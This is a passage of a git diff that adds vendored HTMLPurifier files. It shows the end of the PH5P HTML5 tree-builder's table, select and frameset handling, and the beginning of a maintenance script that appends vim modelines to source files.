+ $this->clearStackToTableContext($clear);
+
+ /* Pop the current node from the stack of open elements. Switch
+ the insertion mode to "in table". */
+ array_pop($this->stack);
+ $this->mode = self::IN_TABLE;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */
+ } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) ||
+ ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) {
+ /* If the stack of open elements does not have a tbody, thead, or
+ tfoot element in table scope, this is a parse error. Ignore the
+ token. (innerHTML case) */
+ if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Clear the stack back to a table body context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Act as if an end tag with the same tag name as the current
+ node ("tbody", "tfoot", or "thead") had been seen, then
+ reprocess the current token. */
+ $this->inTableBody(array(
+ 'name' => end($this->stack)->nodeName,
+ 'type' => HTML5::ENDTAG
+ ));
+
+ return $this->mainPhase($token);
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html", "td", "th", "tr" */
+ } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
+ array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) {
+ /* Parse error. Ignore the token. */
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in table". */
+ $this->inTable($token);
+ }
+ }
+
+ private function inRow($token)
+ {
+ $clear = array('tr', 'html');
+
+ /* A start tag whose tag name is one of: "th", "td" */
+ if($token['type'] === HTML5::STARTTAG &&
+ ($token['name'] === 'th' || $token['name'] === 'td')) {
+ /* Clear the stack back to a table row context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert an HTML element for the token, then switch the insertion
+ mode to "in cell". */
+ $this->insertElement($token);
+ $this->mode = self::IN_CELL;
+
+ /* Insert a marker at the end of the list of active formatting
+ elements. */
+ $this->a_formatting[] = self::MARKER;
+
+ /* An end tag whose tag name is "tr" */
+ } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if(!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Clear the stack back to a table row context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Pop the current node (which will be a tr element) from the
+ stack of open elements. Switch the insertion mode to "in table
+ body". */
+ array_pop($this->stack);
+ $this->mode = self::IN_TBODY;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */
+ } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) {
+ /* Act as if an end tag with the tag name "tr" had been seen, then,
+ if that token wasn't ignored, reprocess the current token. */
+ $this->inRow(array(
+ 'name' => 'tr',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ return $this->inCell($token);
+
+ /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ in_array($token['name'], array('tbody', 'tfoot', 'thead'))) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. */
+ if(!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Otherwise, act as if an end tag with the tag name "tr" had
+ been seen, then reprocess the current token. */
+ $this->inRow(array(
+ 'name' => 'tr',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ return $this->inCell($token);
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html", "td", "th" */
+ } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
+ array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) {
+ /* Parse error. Ignore the token. */
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in table". */
+ $this->inTable($token);
+ }
+ }
+
+ private function inCell($token)
+ {
+ /* An end tag whose tag name is one of: "td", "th" */
+ if($token['type'] === HTML5::ENDTAG &&
+ ($token['name'] === 'td' || $token['name'] === 'th')) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as that of the token, then this is a
+ parse error and the token must be ignored. */
+ if(!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Generate implied end tags, except for elements with the same
+ tag name as the token. */
+ $this->generateImpliedEndTags(array($token['name']));
+
+ /* Now, if the current node is not an element with the same tag
+ name as the token, then this is a parse error. */
+ // k
+
+ /* Pop elements from this stack until an element with the same
+ tag name as the token has been popped from the stack. */
+ while(true) {
+ $node = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if($node === $token['name']) {
+ break;
+ }
+ }
+
+ /* Clear the list of active formatting elements up to the last
+ marker. */
+ $this->clearTheActiveFormattingElementsUpToTheLastMarker();
+
+ /* Switch the insertion mode to "in row". (The current node
+ will be a tr element at this point.) */
+ $this->mode = self::IN_ROW;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th',
+ 'thead', 'tr'))) {
+ /* If the stack of open elements does not have a td or th element
+ in table scope, then this is a parse error; ignore the token.
+ (innerHTML case) */
+ if(!$this->elementInScope(array('td', 'th'), true)) {
+ // Ignore.
+
+ /* Otherwise, close the cell (see below) and reprocess the current
+ token. */
+ } else {
+ $this->closeCell();
+ return $this->inRow($token);
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th',
+ 'thead', 'tr'))) {
+ /* If the stack of open elements does not have a td or th element
+ in table scope, then this is a parse error; ignore the token.
+ (innerHTML case) */
+ if(!$this->elementInScope(array('td', 'th'), true)) {
+ // Ignore.
+
+ /* Otherwise, close the cell (see below) and reprocess the current
+ token. */
+ } else {
+ $this->closeCell();
+ return $this->inRow($token);
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html" */
+ } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
+ array('body', 'caption', 'col', 'colgroup', 'html'))) {
+ /* Parse error. Ignore the token. */
+
+ /* An end tag whose tag name is one of: "table", "tbody", "tfoot",
+ "thead", "tr" */
+ } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
+ array('table', 'tbody', 'tfoot', 'thead', 'tr'))) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as that of the token (which can only
+ happen for "tbody", "tfoot" and "thead", or, in the innerHTML case),
+ then this is a parse error and the token must be ignored. */
+ if(!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise, close the cell (see below) and reprocess the current
+ token. */
+ } else {
+ $this->closeCell();
+ return $this->inRow($token);
+ }
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in body". */
+ $this->inBody($token);
+ }
+ }
+
+ private function inSelect($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token */
+ if($token['type'] === HTML5::CHARACTR) {
+ /* Append the token's character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag token whose tag name is "option" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'option') {
+ /* If the current node is an option element, act as if an end tag
+ with the tag name "option" had been seen. */
+ if(end($this->stack)->nodeName === 'option') {
+ $this->inSelect(array(
+ 'name' => 'option',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* A start tag token whose tag name is "optgroup" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'optgroup') {
+ /* If the current node is an option element, act as if an end tag
+ with the tag name "option" had been seen. */
+ if(end($this->stack)->nodeName === 'option') {
+ $this->inSelect(array(
+ 'name' => 'option',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* If the current node is an optgroup element, act as if an end tag
+ with the tag name "optgroup" had been seen. */
+ if(end($this->stack)->nodeName === 'optgroup') {
+ $this->inSelect(array(
+ 'name' => 'optgroup',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* An end tag token whose tag name is "optgroup" */
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'optgroup') {
+ /* First, if the current node is an option element, and the node
+ immediately before it in the stack of open elements is an optgroup
+ element, then act as if an end tag with the tag name "option" had
+ been seen. */
+ $elements_in_stack = count($this->stack);
+
+ if($this->stack[$elements_in_stack - 1]->nodeName === 'option' &&
+ $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') {
+ $this->inSelect(array(
+ 'name' => 'option',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* If the current node is an optgroup element, then pop that node
+ from the stack of open elements. Otherwise, this is a parse error,
+ ignore the token. */
+ if($this->stack[$elements_in_stack - 1] === 'optgroup') {
+ array_pop($this->stack);
+ }
+
+ /* An end tag token whose tag name is "option" */
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'option') {
+ /* If the current node is an option element, then pop that node
+ from the stack of open elements. Otherwise, this is a parse error,
+ ignore the token. */
+ if(end($this->stack)->nodeName === 'option') {
+ array_pop($this->stack);
+ }
+
+ /* An end tag whose tag name is "select" */
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'select') {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if(!$this->elementInScope($token['name'], true)) {
+ // w/e
+
+ /* Otherwise: */
+ } else {
+ /* Pop elements from the stack of open elements until a select
+ element has been popped from the stack. */
+ while(true) {
+ $current = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if($current === 'select') {
+ break;
+ }
+ }
+
+ /* Reset the insertion mode appropriately. */
+ $this->resetInsertionMode();
+ }
+
+ /* A start tag whose tag name is "select" */
+ } elseif($token['name'] === 'select' &&
+ $token['type'] === HTML5::STARTTAG) {
+ /* Parse error. Act as if the token had been an end tag with the
+ tag name "select" instead. */
+ $this->inSelect(array(
+ 'name' => 'select',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ /* An end tag whose tag name is one of: "caption", "table", "tbody",
+ "tfoot", "thead", "tr", "td", "th" */
+ } elseif(in_array($token['name'], array('caption', 'table', 'tbody',
+ 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) {
+ /* Parse error. */
+ // w/e
+
+ /* If the stack of open elements has an element in table scope with
+ the same tag name as that of the token, then act as if an end tag
+ with the tag name "select" had been seen, and reprocess the token.
+ Otherwise, ignore the token. */
+ if($this->elementInScope($token['name'], true)) {
+ $this->inSelect(array(
+ 'name' => 'select',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ $this->mainPhase($token);
+ }
+
+ /* Anything else */
+ } else {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function afterBody($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Process the token as it would be processed if the insertion mode
+ was "in body". */
+ $this->inBody($token);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the first element in the stack of open
+ elements (the html element), with the data attribute set to the
+ data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ $this->stack[0]->appendChild($comment);
+
+ /* An end tag with the tag name "html" */
+ } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') {
+ /* If the parser was originally created in order to handle the
+ setting of an element's innerHTML attribute, this is a parse error;
+ ignore the token. (The element will be an html element in this
+ case.) (innerHTML case) */
+
+ /* Otherwise, switch to the trailing end phase. */
+ $this->phase = self::END_PHASE;
+
+ /* Anything else */
+ } else {
+ /* Parse error. Set the insertion mode to "in body" and reprocess
+ the token. */
+ $this->mode = self::IN_BODY;
+ return $this->inBody($token);
+ }
+ }
+
+ private function inFrameset($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
+ if($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag with the tag name "frameset" */
+ } elseif($token['name'] === 'frameset' &&
+ $token['type'] === HTML5::STARTTAG) {
+ $this->insertElement($token);
+
+ /* An end tag with the tag name "frameset" */
+ } elseif($token['name'] === 'frameset' &&
+ $token['type'] === HTML5::ENDTAG) {
+ /* If the current node is the root html element, then this is a
+ parse error; ignore the token. (innerHTML case) */
+ if(end($this->stack)->nodeName === 'html') {
+ // Ignore
+
+ } else {
+ /* Otherwise, pop the current node from the stack of open
+ elements. */
+ array_pop($this->stack);
+
+ /* If the parser was not originally created in order to handle
+ the setting of an element's innerHTML attribute (innerHTML case),
+ and the current node is no longer a frameset element, then change
+ the insertion mode to "after frameset". */
+ $this->mode = self::AFTR_FRAME;
+ }
+
+ /* A start tag with the tag name "frame" */
+ } elseif($token['name'] === 'frame' &&
+ $token['type'] === HTML5::STARTTAG) {
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Immediately pop the current node off the stack of open elements. */
+ array_pop($this->stack);
+
+ /* A start tag with the tag name "noframes" */
+ } elseif($token['name'] === 'noframes' &&
+ $token['type'] === HTML5::STARTTAG) {
+ /* Process the token as if the insertion mode had been "in body". */
+ $this->inBody($token);
+
+ /* Anything else */
+ } else {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function afterFrameset($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
+ if($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* An end tag with the tag name "html" */
+ } elseif($token['name'] === 'html' &&
+ $token['type'] === HTML5::ENDTAG) {
+ /* Switch to the trailing end phase. */
+ $this->phase = self::END_PHASE;
+
+ /* A start tag with the tag name "noframes" */
+ } elseif($token['name'] === 'noframes' &&
+ $token['type'] === HTML5::STARTTAG) {
+ /* Process the token as if the insertion mode had been "in body". */
+ $this->inBody($token);
+
+ /* Anything else */
+ } else {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function trailingEndPhase($token)
+ {
+ /* After the main phase, as each token is emitted from the tokenisation
+ stage, it must be processed as described in this section. */
+
+ /* A DOCTYPE token */
+ if($token['type'] === HTML5::DOCTYPE) {
+ // Parse error. Ignore the token.
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the Document object with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ $this->dom->appendChild($comment);
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ } elseif($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Process the token as it would be processed in the main phase. */
+ $this->mainPhase($token);
+
+ /* A character token that is not one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE. Or a start tag token. Or an end tag token. */
+ } elseif(($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
+ $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) {
+ /* Parse error. Switch back to the main phase and reprocess the
+ token. */
+ $this->phase = self::MAIN_PHASE;
+ return $this->mainPhase($token);
+
+ /* An end-of-file token */
+ } elseif($token['type'] === HTML5::EOF) {
+ /* OMG DONE!! */
+ }
+ }
+
+ private function insertElement($token, $append = true)
+ {
+ $el = $this->dom->createElement($token['name']);
+
+ foreach($token['attr'] as $attr) {
+ if(!$el->hasAttribute($attr['name'])) {
+ $el->setAttribute($attr['name'], $attr['value']);
+ }
+ }
+
+ $this->appendToRealParent($el);
+ $this->stack[] = $el;
+
+ return $el;
+ }
+
+ private function insertText($data)
+ {
+ $text = $this->dom->createTextNode($data);
+ $this->appendToRealParent($text);
+ }
+
+ private function insertComment($data)
+ {
+ $comment = $this->dom->createComment($data);
+ $this->appendToRealParent($comment);
+ }
+
+ private function appendToRealParent($node)
+ {
+ if($this->foster_parent === null) {
+ end($this->stack)->appendChild($node);
+
+ } elseif($this->foster_parent !== null) {
+ /* If the foster parent element is the parent element of the
+ last table element in the stack of open elements, then the new
+ node must be inserted immediately before the last table element
+ in the stack of open elements in the foster parent element;
+ otherwise, the new node must be appended to the foster parent
+ element. */
+ for($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if($this->stack[$n]->nodeName === 'table' &&
+ $this->stack[$n]->parentNode !== null) {
+ $table = $this->stack[$n];
+ break;
+ }
+ }
+
+ if(isset($table) && $this->foster_parent->isSameNode($table->parentNode))
+ $this->foster_parent->insertBefore($node, $table);
+ else
+ $this->foster_parent->appendChild($node);
+
+ $this->foster_parent = null;
+ }
+ }
+
+ private function elementInScope($el, $table = false)
+ {
+ if(is_array($el)) {
+ foreach($el as $element) {
+ if($this->elementInScope($element, $table)) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ $leng = count($this->stack);
+
+ for($n = 0; $n < $leng; $n++) {
+ /* 1. Initialise node to be the current node (the bottommost node of
+ the stack). */
+ $node = $this->stack[$leng - 1 - $n];
+
+ if($node->tagName === $el) {
+ /* 2. If node is the target node, terminate in a match state. */
+ return true;
+
+ } elseif($node->tagName === 'table') {
+ /* 3. Otherwise, if node is a table element, terminate in a failure
+ state. */
+ return false;
+
+ } elseif($table === true && in_array($node->tagName, array('caption', 'td',
+ 'th', 'button', 'marquee', 'object'))) {
+ /* 4. Otherwise, if the algorithm is the "has an element in scope"
+ variant (rather than the "has an element in table scope" variant),
+ and node is one of the following, terminate in a failure state. */
+ return false;
+
+ } elseif($node === $node->ownerDocument->documentElement) {
+ /* 5. Otherwise, if node is an html element (root element), terminate
+ in a failure state. (This can only happen if the node is the topmost
+ node of the stack of open elements, and prevents the next step from
+ being invoked if there are no more elements in the stack.) */
+ return false;
+ }
+
+ /* Otherwise, set node to the previous entry in the stack of open
+ elements and return to step 2. (This will never fail, since the loop
+ will always terminate in the previous step if the top of the stack
+ is reached.) */
+ }
+ }
+
+ private function reconstructActiveFormattingElements()
+ {
+ /* 1. If there are no entries in the list of active formatting elements,
+ then there is nothing to reconstruct; stop this algorithm. */
+ $formatting_elements = count($this->a_formatting);
+
+ if($formatting_elements === 0) {
+ return false;
+ }
+
+ /* 3. Let entry be the last (most recently added) element in the list
+ of active formatting elements. */
+ $entry = end($this->a_formatting);
+
+ /* 2. If the last (most recently added) entry in the list of active
+ formatting elements is a marker, or if it is an element that is in the
+ stack of open elements, then there is nothing to reconstruct; stop this
+ algorithm. */
+ if($entry === self::MARKER || in_array($entry, $this->stack, true)) {
+ return false;
+ }
+
+ for($a = $formatting_elements - 1; $a >= 0; true) {
+ /* 4. If there are no entries before entry in the list of active
+ formatting elements, then jump to step 8. */
+ if($a === 0) {
+ $step_seven = false;
+ break;
+ }
+
+ /* 5. Let entry be the entry one earlier than entry in the list of
+ active formatting elements. */
+ $a--;
+ $entry = $this->a_formatting[$a];
+
+ /* 6. If entry is neither a marker nor an element that is also in
+ thetack of open elements, go to step 4. */
+ if($entry === self::MARKER || in_array($entry, $this->stack, true)) {
+ break;
+ }
+ }
+
+ while(true) {
+ /* 7. Let entry be the element one later than entry in the list of
+ active formatting elements. */
+ if(isset($step_seven) && $step_seven === true) {
+ $a++;
+ $entry = $this->a_formatting[$a];
+ }
+
+ /* 8. Perform a shallow clone of the element entry to obtain clone. */
+ $clone = $entry->cloneNode();
+
+ /* 9. Append clone to the current node and push it onto the stack
+ of open elements so that it is the new current node. */
+ end($this->stack)->appendChild($clone);
+ $this->stack[] = $clone;
+
+ /* 10. Replace the entry for entry in the list with an entry for
+ clone. */
+ $this->a_formatting[$a] = $clone;
+
+ /* 11. If the entry for clone in the list of active formatting
+ elements is not the last entry in the list, return to step 7. */
+ if(end($this->a_formatting) !== $clone) {
+ $step_seven = true;
+ } else {
+ break;
+ }
+ }
+ }
+
+ private function clearTheActiveFormattingElementsUpToTheLastMarker()
+ {
+ /* When the steps below require the UA to clear the list of active
+ formatting elements up to the last marker, the UA must perform the
+ following steps: */
+
+ while(true) {
+ /* 1. Let entry be the last (most recently added) entry in the list
+ of active formatting elements. */
+ $entry = end($this->a_formatting);
+
+ /* 2. Remove entry from the list of active formatting elements. */
+ array_pop($this->a_formatting);
+
+ /* 3. If entry was a marker, then stop the algorithm at this point.
+ The list has been cleared up to the last marker. */
+ if($entry === self::MARKER) {
+ break;
+ }
+ }
+ }
+
+ private function generateImpliedEndTags(array $exclude = array())
+ {
+ /* When the steps below require the UA to generate implied end tags,
+ then, if the current node is a dd element, a dt element, an li element,
+ a p element, a td element, a th element, or a tr element, the UA must
+ act as if an end tag with the respective tag name had been seen and
+ then generate implied end tags again. */
+ $node = end($this->stack);
+ $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude);
+
+ while(in_array(end($this->stack)->nodeName, $elements)) {
+ array_pop($this->stack);
+ }
+ }
+
+ private function getElementCategory($name)
+ {
+ if(in_array($name, $this->special))
+ return self::SPECIAL;
+
+ elseif(in_array($name, $this->scoping))
+ return self::SCOPING;
+
+ elseif(in_array($name, $this->formatting))
+ return self::FORMATTING;
+
+ else
+ return self::PHRASING;
+ }
+
+ private function clearStackToTableContext($elements)
+ {
+ /* When the steps above require the UA to clear the stack back to a
+ table context, it means that the UA must, while the current node is not
+ a table element or an html element, pop elements from the stack of open
+ elements. If this causes any elements to be popped from the stack, then
+ this is a parse error. */
+ while(true) {
+ $node = end($this->stack)->nodeName;
+
+ if(in_array($node, $elements)) {
+ break;
+ } else {
+ array_pop($this->stack);
+ }
+ }
+ }
+
+ private function resetInsertionMode()
+ {
+ /* 1. Let last be false. */
+ $last = false;
+ $leng = count($this->stack);
+
+ for($n = $leng - 1; $n >= 0; $n--) {
+ /* 2. Let node be the last node in the stack of open elements. */
+ $node = $this->stack[$n];
+
+ /* 3. If node is the first node in the stack of open elements, then
+ set last to true. If the element whose innerHTML attribute is being
+ set is neither a td element nor a th element, then set node to the
+ element whose innerHTML attribute is being set. (innerHTML case) */
+ if($this->stack[0]->isSameNode($node)) {
+ $last = true;
+ }
+
+ /* 4. If node is a select element, then switch the insertion mode to
+ "in select" and abort these steps. (innerHTML case) */
+ if($node->nodeName === 'select') {
+ $this->mode = self::IN_SELECT;
+ break;
+
+ /* 5. If node is a td or th element, then switch the insertion mode
+ to "in cell" and abort these steps. */
+ } elseif($node->nodeName === 'td' || $node->nodeName === 'th') {
+ $this->mode = self::IN_CELL;
+ break;
+
+ /* 6. If node is a tr element, then switch the insertion mode to
+ "in row" and abort these steps. */
+ } elseif($node->nodeName === 'tr') {
+ $this->mode = self::IN_ROW;
+ break;
+
+ /* 7. If node is a tbody, thead, or tfoot element, then switch the
+ insertion mode to "in table body" and abort these steps. */
+ } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) {
+ $this->mode = self::IN_TBODY;
+ break;
+
+ /* 8. If node is a caption element, then switch the insertion mode
+ to "in caption" and abort these steps. */
+ } elseif($node->nodeName === 'caption') {
+ $this->mode = self::IN_CAPTION;
+ break;
+
+ /* 9. If node is a colgroup element, then switch the insertion mode
+ to "in column group" and abort these steps. (innerHTML case) */
+ } elseif($node->nodeName === 'colgroup') {
+ $this->mode = self::IN_CGROUP;
+ break;
+
+ /* 10. If node is a table element, then switch the insertion mode
+ to "in table" and abort these steps. */
+ } elseif($node->nodeName === 'table') {
+ $this->mode = self::IN_TABLE;
+ break;
+
+ /* 11. If node is a head element, then switch the insertion mode
+ to "in body" ("in body"! not "in head"!) and abort these steps.
+ (innerHTML case) */
+ } elseif($node->nodeName === 'head') {
+ $this->mode = self::IN_BODY;
+ break;
+
+ /* 12. If node is a body element, then switch the insertion mode to
+ "in body" and abort these steps. */
+ } elseif($node->nodeName === 'body') {
+ $this->mode = self::IN_BODY;
+ break;
+
+ /* 13. If node is a frameset element, then switch the insertion
+ mode to "in frameset" and abort these steps. (innerHTML case) */
+ } elseif($node->nodeName === 'frameset') {
+ $this->mode = self::IN_FRAME;
+ break;
+
+ /* 14. If node is an html element, then: if the head element
+ pointer is null, switch the insertion mode to "before head",
+ otherwise, switch the insertion mode to "after head". In either
+ case, abort these steps. (innerHTML case) */
+ } elseif($node->nodeName === 'html') {
+ $this->mode = ($this->head_pointer === null)
+ ? self::BEFOR_HEAD
+ : self::AFTER_HEAD;
+
+ break;
+
+ /* 15. If last is true, then set the insertion mode to "in body"
+ and abort these steps. (innerHTML case) */
+ } elseif($last) {
+ $this->mode = self::IN_BODY;
+ break;
+ }
+ }
+ }
+
+ private function closeCell()
+ {
+ /* If the stack of open elements has a td or th element in table scope,
+ then act as if an end tag token with that tag name had been seen. */
+ foreach(array('td', 'th') as $cell) {
+ if($this->elementInScope($cell, true)) {
+ $this->inCell(array(
+ 'name' => $cell,
+ 'type' => HTML5::ENDTAG
+ ));
+
+ break;
+ }
+ }
+ }
+
+ public function save()
+ {
+ return $this->dom;
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php b/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php
new file mode 100644
index 000000000..34a177f21
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php
@@ -0,0 +1,131 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Adds vimline to files
+ */
+
+chdir(dirname(__FILE__) . '/..');
+$FS = new FSTools();
+
+$vimline = 'vim: et sw=4 sts=4';
+
+$files = $FS->globr('.', '*');
+foreach ($files as $file) {
+ if (
+ !is_file($file) ||
+ prefix_is('./docs/doxygen', $file) ||
+ prefix_is('./library/standalone', $file) ||
+ prefix_is('./docs/specimens', $file) ||
+ postfix_is('.ser', $file) ||
+ postfix_is('.tgz', $file) ||
+ postfix_is('.patch', $file) ||
+ postfix_is('.dtd', $file) ||
+ postfix_is('.ent', $file) ||
+ postfix_is('.png', $file) ||
+ postfix_is('.ico', $file) ||
+ // wontfix
+ postfix_is('.vtest', $file) ||
+ postfix_is('.svg', $file) ||
+ postfix_is('.phpt', $file) ||
+ postfix_is('VERSION', $file) ||
+ postfix_is('WHATSNEW', $file) ||
+ postfix_is('FOCUS', $file) ||
+ postfix_is('configdoc/usage.xml', $file) ||
+ postfix_is('library/HTMLPurifier.includes.php', $file) ||
+ postfix_is('library/HTMLPurifier.safe-includes.php', $file) ||
+ postfix_is('smoketests/xssAttacks.xml', $file) ||
+ // phpt files
+ postfix_is('.diff', $file) ||
+ postfix_is('.exp', $file) ||
+ postfix_is('.log', $file) ||
+ postfix_is('.out', $file) ||
+
+ $file == './library/HTMLPurifier/Lexer/PH5P.php' ||
+ $file == './maintenance/PH5P.php'
+ ) continue;
+ $ext = strrchr($file, '.');
+ if (
+ postfix_is('README', $file) ||
+ postfix_is('LICENSE', $file) ||
+ postfix_is('CREDITS', $file) ||
+ postfix_is('INSTALL', $file) ||
+ postfix_is('NEWS', $file) ||
+ postfix_is('TODO', $file) ||
+ postfix_is('WYSIWYG', $file) ||
+ postfix_is('Changelog', $file)
+ ) $ext = '.txt';
+ if (postfix_is('Doxyfile', $file)) $ext = 'Doxyfile';
+ if (postfix_is('.php.in', $file)) $ext = '.php';
+ $no_nl = false;
+ switch ($ext) {
+ case '.php':
+ case '.inc':
+ case '.js':
+ $line = '// %s';
+ break;
+ case '.html':
+ case '.xsl':
+ case '.xml':
